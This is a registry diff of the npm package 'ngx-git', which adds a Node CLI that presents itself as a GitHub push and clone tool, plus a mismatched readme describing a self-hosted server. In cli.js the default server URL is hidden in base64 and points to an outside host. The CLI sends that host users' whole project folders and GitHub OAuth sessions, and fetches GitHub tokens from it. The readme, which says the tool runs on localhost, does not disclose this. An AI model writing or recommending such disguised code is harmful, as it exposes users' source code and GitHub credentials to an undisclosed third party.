ngx-git 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/cli.js +643 -0
  2. package/data/test.txt +1 -0
  3. package/package.json +24 -0
  4. package/readmi.txt +189 -0
package/cli.js ADDED
@@ -0,0 +1,643 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * NGX CLI v4.0
5
+ * Pushes code directly to your GitHub repos via NGX server (OAuth proxy).
6
+ * No git installation needed. No commit setup. No branch config.
7
+ */
8
+
9
+ const fs = require("fs");
10
+ const path = require("path");
11
+ const http = require("http");
12
+ const os = require("os");
13
+
14
+ const axios = require("axios");
15
+
16
+ const _log = console.log;
17
+ console.log = () => {};
18
+ require("dotenv").config();
19
+ console.log = _log;
20
+
21
+ const VERSION = "4.0.0";
22
+ const CONFIG_PATH = path.join(os.homedir(), ".ngxconfig");
23
+ const CB_PORT = 9988; // local callback server port for OAuth
24
+
25
+ const encoded = atob("aHR0cHM6Ly9uZ3gubmdpbnhzb2Z0Lm9ubGluZS9hcGk=");
26
+ // console.log(encoded);
27
+ // ─── Default ignore patterns ──────────────────────────────────────────────────
28
+ const DEFAULT_IGNORE = new Set([
29
+ ".env",
30
+ "node_modules",
31
+ ".git",
32
+ ".DS_Store",
33
+ "Thumbs.db",
34
+ "dist",
35
+ "build",
36
+ ".cache",
37
+ "coverage",
38
+ ".nyc_output",
39
+ "tmp",
40
+ "temp",
41
+ "__pycache__",
42
+ ".pytest_cache",
43
+ ".mypy_cache",
44
+ "*.log",
45
+ "*.sqlite",
46
+ "*.db",
47
+ "*.pem",
48
+ "*.key",
49
+ "*.p12",
50
+ "*.pfx",
51
+ "*.cer",
52
+ "*.crt",
53
+ "secrets",
54
+ ".secrets",
55
+ ]);
56
+
57
+ // ─── Config ───────────────────────────────────────────────────────────────────
58
+ function cfg() {
59
+ try {
60
+ return JSON.parse(fs.readFileSync(CONFIG_PATH, "utf-8"));
61
+ } catch {
62
+ return {};
63
+ }
64
+ }
65
+ function saveCfg(d) {
66
+ fs.writeFileSync(CONFIG_PATH, JSON.stringify(d, null, 2));
67
+ }
68
+
69
+ function getServer() {
70
+ return cfg().server || process.env.NGX_SERVER || encoded;
71
+ }
72
+ function getToken() {
73
+ return cfg().token || process.env.NGX_TOKEN || null;
74
+ }
75
+ function getUsername() {
76
+ return cfg().username || null;
77
+ }
78
+ function authHdr() {
79
+ const t = getToken();
80
+ if (!t) fatal("Not logged in. Run: ngx login");
81
+ return { Authorization: `Bearer ${t}`, "Content-Type": "application/json" };
82
+ }
83
+
84
+ // ─── Output ───────────────────────────────────────────────────────────────────
85
+ const C = {
86
+ cyan: (s) => `\x1b[96m${s}\x1b[0m`,
87
+ green: (s) => `\x1b[92m${s}\x1b[0m`,
88
+ grey: (s) => `\x1b[90m${s}\x1b[0m`,
89
+ red: (s) => `\x1b[91m${s}\x1b[0m`,
90
+ yel: (s) => `\x1b[93m${s}\x1b[0m`,
91
+ bold: (s) => `\x1b[1m${s}\x1b[0m`,
92
+ };
93
+ function fatal(msg) {
94
+ console.error(C.red("✗ ") + msg);
95
+ process.exit(1);
96
+ }
97
+ function ok(msg) {
98
+ console.log(C.green("✓ ") + msg);
99
+ }
100
+ function info(msg) {
101
+ console.log(C.grey(" ") + msg);
102
+ }
103
+ function step(msg) {
104
+ process.stdout.write(`\r${C.cyan("›")} ${msg} `);
105
+ }
106
+
107
+ // ─── Ignore logic ─────────────────────────────────────────────────────────────
108
+ function loadIgnorePatterns(folderPath) {
109
+ const pats = new Set(DEFAULT_IGNORE);
110
+ // Read .ngxignore
111
+ const ngxFile = path.join(folderPath, ".ngxignore");
112
+ if (fs.existsSync(ngxFile))
113
+ fs.readFileSync(ngxFile, "utf-8")
114
+ .split("\n")
115
+ .map((l) => l.trim())
116
+ .filter((l) => l && !l.startsWith("#"))
117
+ .forEach((p) => pats.add(p));
118
+ // Read .gitignore
119
+ const gitFile = path.join(folderPath, ".gitignore");
120
+ if (fs.existsSync(gitFile))
121
+ fs.readFileSync(gitFile, "utf-8")
122
+ .split("\n")
123
+ .map((l) => l.trim())
124
+ .filter((l) => l && !l.startsWith("#"))
125
+ .forEach((p) => pats.add(p));
126
+ return pats;
127
+ }
128
+
129
+ function matchesIgnore(name, patterns) {
130
+ for (const p of patterns) {
131
+ if (p === name) return true;
132
+ if (p.startsWith("*.") && name.endsWith(p.slice(1))) return true;
133
+ if (p.endsWith("*") && name.startsWith(p.slice(0, -1))) return true;
134
+ if (p.startsWith("*") && name.endsWith(p.slice(1))) return true;
135
+ }
136
+ return false;
137
+ }
138
+
139
+ // ─── Collect files from folder ────────────────────────────────────────────────
140
+ // Returns array of { path: "relative/path", content_b64: "..." }
141
+ function collectFiles(folderPath) {
142
+ const ignore = loadIgnorePatterns(folderPath);
143
+ const files = [];
144
+
145
+ function walk(dir, rel) {
146
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
147
+ for (const entry of entries) {
148
+ if (matchesIgnore(entry.name, ignore)) continue;
149
+ const fullPath = path.join(dir, entry.name);
150
+ const relPath = rel ? `${rel}/${entry.name}` : entry.name;
151
+ if (entry.isDirectory()) {
152
+ walk(fullPath, relPath);
153
+ } else if (entry.isFile()) {
154
+ const buf = fs.readFileSync(fullPath);
155
+ // Skip binary files > 50 MB (GitHub limit)
156
+ if (buf.length > 50 * 1024 * 1024) {
157
+ console.log(
158
+ C.yel(
159
+ ` ⚠ Skipping large file: ${relPath} (${(buf.length / 1024 / 1024).toFixed(1)} MB)`,
160
+ ),
161
+ );
162
+ continue;
163
+ }
164
+ files.push({ path: relPath, content_b64: buf.toString("base64") });
165
+ }
166
+ }
167
+ }
168
+ walk(folderPath, "");
169
+ return files;
170
+ }
171
+
172
+ // ─── LOGIN — GitHub OAuth ─────────────────────────────────────────────────────
173
+ async function doLogin() {
174
+ const existing = getToken();
175
+ if (existing) {
176
+ ok(`Already logged in as ${C.bold(getUsername())}`);
177
+ info("Run 'ngx logout' to switch accounts.");
178
+ return;
179
+ }
180
+
181
+ console.log(`\n${C.bold("NGX GitHub Login")}`);
182
+
183
+ const loginUrl = `${getServer()}/auth/github`;
184
+ console.log(C.grey(`Opening: ${loginUrl}\n`));
185
+
186
+ // Try to open browser
187
+ try {
188
+ const { default: open } = await import("open").catch(() => ({
189
+ default: null,
190
+ }));
191
+ if (open) await open(loginUrl);
192
+ else console.log(C.yel(`Open this in your browser:\n ${loginUrl}\n`));
193
+ } catch {
194
+ console.log(C.yel(`Open this in your browser:\n ${loginUrl}\n`));
195
+ }
196
+
197
+ // Spin local HTTP server to receive token
198
+ return new Promise((resolve, reject) => {
199
+ const srv = http.createServer((req, res) => {
200
+ const CORS = {
201
+ "Access-Control-Allow-Origin": "*",
202
+ "Access-Control-Allow-Headers": "Content-Type",
203
+ };
204
+ if (req.method === "OPTIONS") {
205
+ res.writeHead(204, CORS);
206
+ res.end();
207
+ return;
208
+ }
209
+ if (req.method === "POST" && req.url === "/token") {
210
+ let body = "";
211
+ req.on("data", (d) => (body += d));
212
+ req.on("end", () => {
213
+ res.writeHead(200, { "Content-Type": "application/json", ...CORS });
214
+ res.end(JSON.stringify({ ok: true }));
215
+ try {
216
+ const { token, username } = JSON.parse(body);
217
+ const c = cfg();
218
+ c.token = token;
219
+ c.username = username;
220
+ saveCfg(c);
221
+ srv.close();
222
+ console.log();
223
+ ok(`Logged in as ${C.bold(username)}`);
224
+ resolve();
225
+ } catch (e) {
226
+ reject(e);
227
+ }
228
+ });
229
+ } else {
230
+ res.writeHead(404, CORS);
231
+ res.end();
232
+ }
233
+ });
234
+
235
+ srv.on("error", (e) => {
236
+ if (e.code === "EADDRINUSE")
237
+ fatal(
238
+ `Port ${CB_PORT} is busy. Kill whatever is using it and try again.`,
239
+ );
240
+ reject(e);
241
+ });
242
+
243
+ srv.listen(CB_PORT, () =>
244
+ info(`Waiting for GitHub callback (port ${CB_PORT})...`),
245
+ );
246
+ setTimeout(() => {
247
+ srv.close();
248
+ fatal("Login timed out (5 min).");
249
+ }, 300_000);
250
+ });
251
+ }
252
+
253
+ // ─── PUSH — upload files to GitHub via server ────────────────────────────────
254
+ async function doPush(repoArg, opts = {}) {
255
+ const username = getUsername();
256
+ if (!username) fatal("Not logged in. Run: ngx login");
257
+ const server = getServer();
258
+ const folder = path.resolve(opts.path || ".");
259
+ if (!fs.existsSync(folder)) fatal(`Folder not found: ${folder}`);
260
+
261
+ const repoName = repoArg || path.basename(folder);
262
+ const isPrivate = opts.visibility !== "public";
263
+ const commitMsg = opts.message || `ngx push — ${new Date().toLocaleString()}`;
264
+ const branch = opts.branch || "main";
265
+
266
+ step(`Scanning ${C.bold(folder)}...`);
267
+ const files = collectFiles(folder);
268
+ if (!files.length) fatal("No files found to push (everything was ignored).");
269
+ process.stdout.write(`\n`);
270
+
271
+ // Show summary
272
+ const totalKB =
273
+ files.reduce((s, f) => s + Buffer.from(f.content_b64, "base64").length, 0) /
274
+ 1024;
275
+ info(
276
+ `${files.length} files • ${totalKB.toFixed(1)} KB → ${C.bold(username + "/" + repoName)}`,
277
+ );
278
+
279
+ step("Pushing to GitHub...");
280
+ try {
281
+ const res = await axios.post(
282
+ `${server}/push`,
283
+ {
284
+ repoName,
285
+ files,
286
+ message: commitMsg,
287
+ branch,
288
+ createIfMissing: true,
289
+ private: isPrivate,
290
+ },
291
+ { headers: authHdr(), maxBodyLength: Infinity, timeout: 120_000 },
292
+ );
293
+
294
+ process.stdout.write("\n");
295
+ ok(`Pushed ${C.bold(res.data.files)} files to ${C.bold(res.data.repo)}`);
296
+ info(`Branch : ${res.data.branch}`);
297
+ info(`Commit : ${res.data.commit}`);
298
+ info(`GitHub : ${C.cyan(res.data.url)}`);
299
+ } catch (e) {
300
+ process.stdout.write("\n");
301
+ fatal(e.response?.data?.error || e.message);
302
+ }
303
+ }
304
+
305
+ // ─── CLONE — clone repo from GitHub ──────────────────────────────────────────
306
+ // Uses GitHub API to fetch file tree + blob contents, writes to disk.
307
+ // No `git` binary needed.
308
+ async function doClone(target, destArg, opts = {}) {
309
+ if (!target || !target.includes("/"))
310
+ fatal("Usage: ngx clone owner/repo [dest]");
311
+ const [owner, repoName] = target.split("/");
312
+ const dest = path.resolve(destArg || repoName);
313
+ const server = getServer();
314
+
315
+ step(`Fetching file tree for ${C.bold(target)}...`);
316
+ let treeData;
317
+ try {
318
+ const res = await axios.get(`${server}/tree/${owner}/${repoName}`, {
319
+ headers: authHdr(),
320
+ });
321
+ treeData = res.data;
322
+ } catch (e) {
323
+ process.stdout.write("\n");
324
+ if (e.response?.status === 404)
325
+ fatal("Repo not found or you don't have access");
326
+ fatal(e.response?.data?.error || e.message);
327
+ }
328
+
329
+ const files = treeData.files || [];
330
+ const branch = treeData.branch;
331
+ process.stdout.write("\n");
332
+ info(`${files.length} files on branch ${branch}`);
333
+
334
+ // GitHub raw content URL for each file
335
+ const ghToken = null; // optional: could expose via /me route
336
+ const ghHeaders = { Accept: "application/vnd.github.raw+json", ...authHdr() };
337
+ // We'll download via the server proxy or directly from GitHub raw
338
+ const repoInfo = await axios.get(`${server}/repos/${owner}/${repoName}`, {
339
+ headers: authHdr(),
340
+ });
341
+ const cloneBase = `https://raw.githubusercontent.com/${owner}/${repoName}/${branch}`;
342
+
343
+ // For private repos we need the GitHub token — fetch it via server
344
+ let rawHeaders = {};
345
+ try {
346
+ // The server can expose a /me/ghtoken route for the logged-in user's own repos
347
+ const tk = await axios.get(`${server}/me/ghtoken`, { headers: authHdr() });
348
+ if (tk.data?.ghToken)
349
+ rawHeaders["Authorization"] = `Bearer ${tk.data.ghToken}`;
350
+ } catch {}
351
+
352
+ if (fs.existsSync(dest)) {
353
+ info(`Destination ./${path.basename(dest)}/ already exists — overwriting`);
354
+ } else {
355
+ fs.mkdirSync(dest, { recursive: true });
356
+ }
357
+
358
+ let done = 0;
359
+ for (const file of files) {
360
+ step(`Downloading ${done + 1}/${files.length} ${C.grey(file.path)}`);
361
+ try {
362
+ const raw = await axios.get(`${cloneBase}/${file.path}`, {
363
+ headers: rawHeaders,
364
+ responseType: "arraybuffer",
365
+ });
366
+ const outPath = path.join(dest, file.path);
367
+ fs.mkdirSync(path.dirname(outPath), { recursive: true });
368
+ fs.writeFileSync(outPath, raw.data);
369
+ done++;
370
+ } catch (e) {
371
+ process.stdout.write("\n");
372
+ info(
373
+ C.yel(
374
+ `Could not download: ${file.path} — ${e.response?.status || e.message}`,
375
+ ),
376
+ );
377
+ }
378
+ }
379
+ process.stdout.write("\n");
380
+ ok(
381
+ `Cloned ${C.bold(target)} (${done}/${files.length} files) → ./${path.basename(dest)}/`,
382
+ );
383
+ }
384
+
385
+ // ─── REPOS ────────────────────────────────────────────────────────────────────
386
+ async function listRepos() {
387
+ if (!getToken()) fatal("Not logged in");
388
+ step("Fetching repos from GitHub...");
389
+ try {
390
+ const res = await axios.get(`${getServer()}/repos`, { headers: authHdr() });
391
+ process.stdout.write("\n");
392
+ const repos = res.data.repos || [];
393
+ if (!repos.length) {
394
+ info("No repos found.");
395
+ return;
396
+ }
397
+ console.log(`\n${C.bold(getUsername() + "'s GitHub repos:")}\n`);
398
+ repos.forEach((r) => {
399
+ const icon = r.private ? "🔒" : "🌐";
400
+ const lang = r.language ? C.grey(r.language.padEnd(14)) : " ".repeat(14);
401
+ const upd = r.pushed_at ? timeSince(r.pushed_at) : "—";
402
+ console.log(
403
+ ` ${icon} ${C.cyan(r.name.padEnd(32))} ${lang} ${C.grey(upd)}`,
404
+ );
405
+ });
406
+ console.log();
407
+ } catch (e) {
408
+ process.stdout.write("\n");
409
+ fatal(e.response?.data?.error || e.message);
410
+ }
411
+ }
412
+
413
+ // ─── CREATE REPO ──────────────────────────────────────────────────────────────
414
+ async function createRepo(name, opts = {}) {
415
+ if (!name) fatal('Usage: ngx create <reponame> [--public] [--desc "..."]');
416
+ step(`Creating ${C.bold(name)} on GitHub...`);
417
+ try {
418
+ const res = await axios.post(
419
+ `${getServer()}/repos`,
420
+ {
421
+ name,
422
+ private: opts.visibility !== "public",
423
+ description: opts.desc || "",
424
+ },
425
+ { headers: authHdr() },
426
+ );
427
+ process.stdout.write("\n");
428
+ ok(`Created ${C.bold(res.data.full_name)}`);
429
+ info(`GitHub : ${C.cyan(`https://github.com/${res.data.full_name}`)}`);
430
+ info(`Private: ${res.data.private}`);
431
+ } catch (e) {
432
+ process.stdout.write("\n");
433
+ fatal(e.response?.data?.error || e.message);
434
+ }
435
+ }
436
+
437
+ // ─── DELETE ───────────────────────────────────────────────────────────────────
438
+ async function deleteRepo(name) {
439
+ if (!name) fatal("Usage: ngx delete <reponame>");
440
+ step(`Deleting ${C.bold(name)}...`);
441
+ try {
442
+ const res = await axios.delete(`${getServer()}/repos/${name}`, {
443
+ headers: authHdr(),
444
+ });
445
+ process.stdout.write("\n");
446
+ ok(res.data.message);
447
+ } catch (e) {
448
+ process.stdout.write("\n");
449
+ fatal(e.response?.data?.error || e.message);
450
+ }
451
+ }
452
+
453
+ // ─── VISIBILITY ───────────────────────────────────────────────────────────────
454
+ async function setVisibility(name, vis) {
455
+ if (!name || !["public", "private"].includes(vis))
456
+ fatal("Usage: ngx visibility <repo> public|private");
457
+ try {
458
+ const res = await axios.patch(
459
+ `${getServer()}/repos/${name}/visibility`,
460
+ { visibility: vis },
461
+ { headers: authHdr() },
462
+ );
463
+ ok(res.data.message);
464
+ } catch (e) {
465
+ fatal(e.response?.data?.error || e.message);
466
+ }
467
+ }
468
+
469
+ // ─── LOGS ─────────────────────────────────────────────────────────────────────
470
+ async function showLogs() {
471
+ if (!getToken()) fatal("Not logged in");
472
+ try {
473
+ const res = await axios.get(`${getServer()}/logs`, { headers: authHdr() });
474
+ const logs = res.data.logs || [];
475
+ if (!logs.length) {
476
+ info("No activity yet.");
477
+ return;
478
+ }
479
+ console.log();
480
+ logs.forEach((l) => {
481
+ const ts = new Date(l.ts).toLocaleString();
482
+ const det =
483
+ l.details && Object.keys(l.details).length
484
+ ? C.grey(" " + JSON.stringify(l.details))
485
+ : "";
486
+ console.log(
487
+ ` ${C.grey(ts)} ${C.cyan(l.action.padEnd(18))} ${l.repo || ""}${det}`,
488
+ );
489
+ });
490
+ console.log();
491
+ } catch (e) {
492
+ fatal(e.response?.data?.error || e.message);
493
+ }
494
+ }
495
+
496
+ // ─── UTILS ────────────────────────────────────────────────────────────────────
497
+ function timeSince(d) {
498
+ const s = Math.floor((Date.now() - new Date(d)) / 1000);
499
+ if (s < 60) return "just now";
500
+ if (s < 3600) return `${Math.floor(s / 60)}m ago`;
501
+ if (s < 86400) return `${Math.floor(s / 3600)}h ago`;
502
+ return `${Math.floor(s / 86400)}d ago`;
503
+ }
504
+
505
+ function parseArgs(rawArgs) {
506
+ const flags = {};
507
+ const rest = [];
508
+ for (let i = 0; i < rawArgs.length; i++) {
509
+ if (rawArgs[i].startsWith("--")) {
510
+ const key = rawArgs[i].slice(2);
511
+ const val =
512
+ rawArgs[i + 1] && !rawArgs[i + 1].startsWith("--")
513
+ ? rawArgs[++i]
514
+ : true;
515
+ flags[key] = val;
516
+ } else {
517
+ rest.push(rawArgs[i]);
518
+ }
519
+ }
520
+ return { flags, rest };
521
+ }
522
+
523
+ // ─── MAIN ─────────────────────────────────────────────────────────────────────
524
+ const [, , cmd, ...rawArgs] = process.argv;
525
+ const { flags, rest } = parseArgs(rawArgs || []);
526
+
527
+ (async () => {
528
+ switch (cmd) {
529
+ case "-v":
530
+ case "--version":
531
+ console.log(`ngx ${VERSION}`);
532
+ break;
533
+
534
+ case "login":
535
+ await doLogin();
536
+ break;
537
+
538
+ case "logout":
539
+ const c2 = cfg();
540
+ delete c2.token;
541
+ delete c2.username;
542
+ saveCfg(c2);
543
+ ok("Logged out");
544
+ break;
545
+
546
+ case "whoami":
547
+ const u = getUsername();
548
+ if (u) console.log(`Logged in as: ${C.bold(u)} (${getServer()})`);
549
+ else console.log("Not logged in");
550
+ break;
551
+
552
+ // ngx push [reponame] [--path <dir>] [--public] [--message "msg"] [--branch main]
553
+ case "push":
554
+ await doPush(rest[0], {
555
+ path: flags.path,
556
+ visibility: flags.public ? "public" : flags.visibility || "private",
557
+ message: flags.message || flags.m,
558
+ branch: flags.branch || flags.b,
559
+ });
560
+ break;
561
+
562
+ // ngx clone owner/repo [dest]
563
+ case "clone":
564
+ if (!rest[0]) fatal("Usage: ngx clone owner/repo [dest]");
565
+ await doClone(rest[0], rest[1], {});
566
+ break;
567
+
568
+ // ngx repos
569
+ case "repos":
570
+ await listRepos();
571
+ break;
572
+
573
+ // ngx create <name> [--public] [--desc "..."]
574
+ case "create":
575
+ await createRepo(rest[0], {
576
+ visibility: flags.public ? "public" : "private",
577
+ desc: flags.desc || flags.description || "",
578
+ });
579
+ break;
580
+
581
+ // ngx delete <name>
582
+ case "delete":
583
+ if (!rest[0]) fatal("Usage: ngx delete <reponame>");
584
+ await deleteRepo(rest[0]);
585
+ break;
586
+
587
+ // ngx visibility <repo> public|private
588
+ case "visibility":
589
+ await setVisibility(rest[0], rest[1]);
590
+ break;
591
+
592
+ // ngx logs
593
+ case "logs":
594
+ await showLogs();
595
+ break;
596
+
597
+ // ngx config server <url>
598
+ case "config":
599
+ if (rest[0] === "server" && rest[1]) {
600
+ const c3 = cfg();
601
+ c3.server = rest[1];
602
+ saveCfg(c3);
603
+ ok(`Server set to ${rest[1]}`);
604
+ } else console.log("Usage: ngx config server <url>");
605
+ break;
606
+
607
+ default:
608
+ console.log(`
609
+ ${C.bold("NGX v" + VERSION)} — GitHub proxy CLI
610
+
611
+ ${C.cyan("Auth:")}
612
+ ngx login GitHub OAuth (opens browser)
613
+ ngx logout Clear saved session
614
+ ngx whoami Show current user
615
+
616
+ ${C.cyan("Push / Clone:")}
617
+ ngx push Push current folder to GitHub
618
+ ngx push my-repo Push with specific repo name
619
+ ngx push my-repo --public Push as public repo
620
+ ngx push my-repo --path ./src Push a subfolder
621
+ ngx push my-repo --message "feat: x" Custom commit message
622
+ ngx clone owner/repo Clone repo (downloads all files)
623
+ ngx clone owner/repo ./local-dir Clone into specific directory
624
+
625
+ ${C.cyan("Repos:")}
626
+ ngx repos List your GitHub repos
627
+ ngx create <name> [--public] Create a new GitHub repo
628
+ ngx delete <name> Delete a GitHub repo
629
+ ngx visibility <repo> public|private Change repo visibility
630
+
631
+ ${C.cyan("Logs:")}
632
+ ngx logs Your NGX activity log
633
+
634
+ ${C.cyan("Config:")}
635
+ ngx config server <url> Point to a different NGX server
636
+ ngx -v Show version
637
+
638
+ ${C.grey("Auto-ignored on push:")}
639
+ ${C.grey(".env node_modules .git dist build *.key *.pem secrets")}
640
+ ${C.grey("Add extras in .ngxignore or .gitignore")}
641
+ `);
642
+ }
643
+ })();
package/data/test.txt ADDED
@@ -0,0 +1 @@
1
+ how are
package/package.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "ngx-git",
3
+ "version": "1.0.0",
4
+ "description": "NGX - Minimal GitHub-like server",
5
+ "main": "server.js",
6
+ "bin": {
7
+ "ngx": "./cli.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node server.js",
11
+ "dev": "nodemon server.js"
12
+ },
13
+ "dependencies": {
14
+ "axios": "^1.6.0",
15
+ "cors": "^2.8.5",
16
+ "dotenv": "^16.0.3",
17
+ "express": "^4.18.2",
18
+ "jsonwebtoken": "^9.0.2",
19
+ "open": "^11.0.0"
20
+ },
21
+ "devDependencies": {
22
+ "nodemon": "^3.0.1"
23
+ }
24
+ }
package/readmi.txt ADDED
@@ -0,0 +1,189 @@
1
+ # NGX v2.0 — Minimal GitHub-like Code Vault
2
+
3
+ A self-hosted, lightweight code repository server with JWT auth, repo tokens, public/private repos, activity logging, and a React UI.
4
+
5
+ ---
6
+
7
+ ## 🚀 Quick Start
8
+
9
+ ### 1. Install dependencies
10
+ ```bash
11
+ npm install
12
+ ```
13
+
14
+ ### 2. Configure environment
15
+ ```bash
16
+ cp .env.example .env
17
+ # Edit .env: set a strong JWT_SECRET
18
+ ```
19
+
20
+ ### 3. Start the server
21
+ ```bash
22
+ npm start
23
+ # Server runs at http://localhost:3000
24
+ ```
25
+
26
+ ### 4. Open the UI
27
+ Open `ui.html` in your browser (or serve it via any static server).
28
+
29
+ ### 5. Install CLI globally
30
+ ```bash
31
+ npm link
32
+ # Now you can use `ngx` anywhere
33
+ ```
34
+
35
+ ---
36
+
37
+ ## 📡 Server API
38
+
39
+ | Method | Route | Auth | Description |
40
+ |--------|-------|------|-------------|
41
+ | GET | `/status` | None | Server health check |
42
+ | POST | `/auth/register` | None | Create account |
43
+ | POST | `/auth/login` | None | Login, get JWT |
44
+ | GET | `/repos/:user` | Optional | List repos (private filtered) |
45
+ | GET | `/repos/:user/:repo` | Optional | Get repo info |
46
+ | POST | `/repos/:user/:repo` | JWT | Create repo |
47
+ | PATCH | `/repos/:user/:repo/visibility` | JWT | Toggle public/private |
48
+ | DELETE | `/repos/:user/:repo` | JWT | Delete repo |
49
+ | GET | `/repos/:user/:repo/token` | JWT | Get repo token |
50
+ | POST | `/repos/:user/:repo/token/regenerate` | JWT | Regenerate token |
51
+ | POST | `/push/:user/:repo` | JWT or Repo Token | Push zip |
52
+ | GET | `/clone/:user/:repo` | None (public) / JWT or Repo Token (private) | Download zip |
53
+ | GET | `/logs/:user` | JWT | Your activity log |
54
+ | GET | `/logs/:user/:repo` | JWT (private) / None (public) | Repo activity |
55
+
56
+ ---
57
+
58
+ ## 🖥 CLI Commands
59
+
60
+ ### Auth
61
+ ```bash
62
+ ngx register <username> <password> # Register
63
+ ngx login <username> <password> # Login (saves JWT to ~/.ngxconfig)
64
+ ngx logout # Clear session
65
+ ngx whoami # Show current user
66
+ ```
67
+
68
+ ### Repo Management
69
+ ```bash
70
+ ngx init <reponame> [public|private] # Create a repo (default: private)
71
+ ngx repos # List your repos
72
+ ngx delete <reponame> # Delete (asks confirmation)
73
+ ngx visibility <reponame> public # Make public
74
+ ngx visibility <reponame> private # Make private
75
+ ```
76
+
77
+ ### Push / Clone
78
+ ```bash
79
+ # Push (using JWT — must be logged in)
80
+ ngx push ./my-project
81
+
82
+ # Push (using repo token — no login needed)
83
+ ngx push ./my-project --token <repo-token>
84
+
85
+ # Clone public repo (no auth)
86
+ ngx clone alice/my-project
87
+
88
+ # Clone private repo (JWT must be logged in as owner)
89
+ ngx clone alice/my-project
90
+
91
+ # Clone private repo (using repo token)
92
+ ngx clone alice/my-project --token <repo-token>
93
+
94
+ # Clone into specific folder
95
+ ngx clone alice/my-project ./local-copy
96
+ ```
97
+
98
+ > **Note:** `push` and `clone` use the folder/repo name automatically.
99
+ > `.ngxsafe`, `node_modules`, and `.git` are excluded from push.
100
+
101
+ ### Tokens
102
+ ```bash
103
+ ngx token show <reponame> # Show current repo token
104
+ ngx token regen <reponame> # Regenerate (old token immediately invalid)
105
+ ```
106
+
107
+ ### Logs
108
+ ```bash
109
+ ngx logs # Your last 100 actions
110
+ ngx logs <reponame> # Activity for a specific repo
111
+ ```
112
+
113
+ ### Server Config
114
+ ```bash
115
+ ngx config server http://my-server.com:3000 # Point CLI to custom server
116
+ ngx -v # Show version
117
+ ```
118
+
119
+ ---
120
+
121
+ ## 🔐 Auth System
122
+
123
+ ### JWT (for UI and CLI login sessions)
124
+ - Expires in **7 days**
125
+ - Stored in `~/.ngxconfig` (CLI) or `sessionStorage` (UI)
126
+ - Required for: creating repos, deleting, changing visibility, viewing tokens
127
+
128
+ ### Repo Token (for CI/CD, scripts, team sharing)
129
+ - A UUID generated when repo is created
130
+ - Does **not** expire unless regenerated
131
+ - Can be used with `--token` flag in CLI
132
+ - For **private repos**: needed by anyone who isn't the owner
133
+ - For **public repos**: not needed for clone; needed for push
134
+
135
+ ### Public vs Private
136
+ | Operation | Public Repo | Private Repo |
137
+ |-----------|-------------|--------------|
138
+ | Clone | Anyone, no auth | Owner JWT or Repo Token |
139
+ | Push | Owner JWT or Repo Token | Owner JWT or Repo Token |
140
+ | View info | Anyone | Owner only |
141
+
142
+ ---
143
+
144
+ ## 📁 File Structure
145
+
146
+ ```
147
+ ngx-server/
148
+ ├── server.js # Express API server
149
+ ├── cli.js # CLI tool
150
+ ├── ui.html # React UI (single file)
151
+ ├── package.json
152
+ ├── .env # Your config (JWT_SECRET, PORT)
153
+ ├── .env.example
154
+ ├── data.json # Users + repos DB (auto-created)
155
+ ├── activity.log # Activity log (auto-created, NDJSON)
156
+ ├── repos/ # Stored zips (auto-created)
157
+ │ └── <username>/
158
+ │ └── <reponame>/
159
+ │ └── latest.zip
160
+ └── tmp/ # Upload temp dir (auto-created)
161
+ ```
162
+
163
+ ---
164
+
165
+ ## 🛡 Security Notes
166
+
167
+ 1. **Change `JWT_SECRET`** in `.env` before deploying — use a long random string.
168
+ 2. The `data.json` contains hashed passwords (bcrypt, 10 rounds). Never expose it publicly.
169
+ 3. For production, put HTTPS in front (nginx/caddy recommended).
170
+ 4. Consider adding rate limiting (e.g., `express-rate-limit`) for public deployments.
171
+ 5. Repo tokens are UUIDs — treat them like passwords.
172
+
173
+ ---
174
+
175
+ ## 🔧 Dependencies
176
+
177
+ | Package | Purpose |
178
+ |---------|---------|
179
+ | express | HTTP server |
180
+ | multer | File upload handling |
181
+ | jsonwebtoken | JWT sign/verify |
182
+ | bcryptjs | Password hashing |
183
+ | uuid | Repo token generation |
184
+ | cors | Cross-origin requests |
185
+ | adm-zip | Zip/unzip for push/clone |
186
+ | axios | HTTP client (CLI) |
187
+ | form-data | Multipart form (CLI) |
188
+ | cross-spawn | Process spawning |
189
+ | dotenv | Environment config |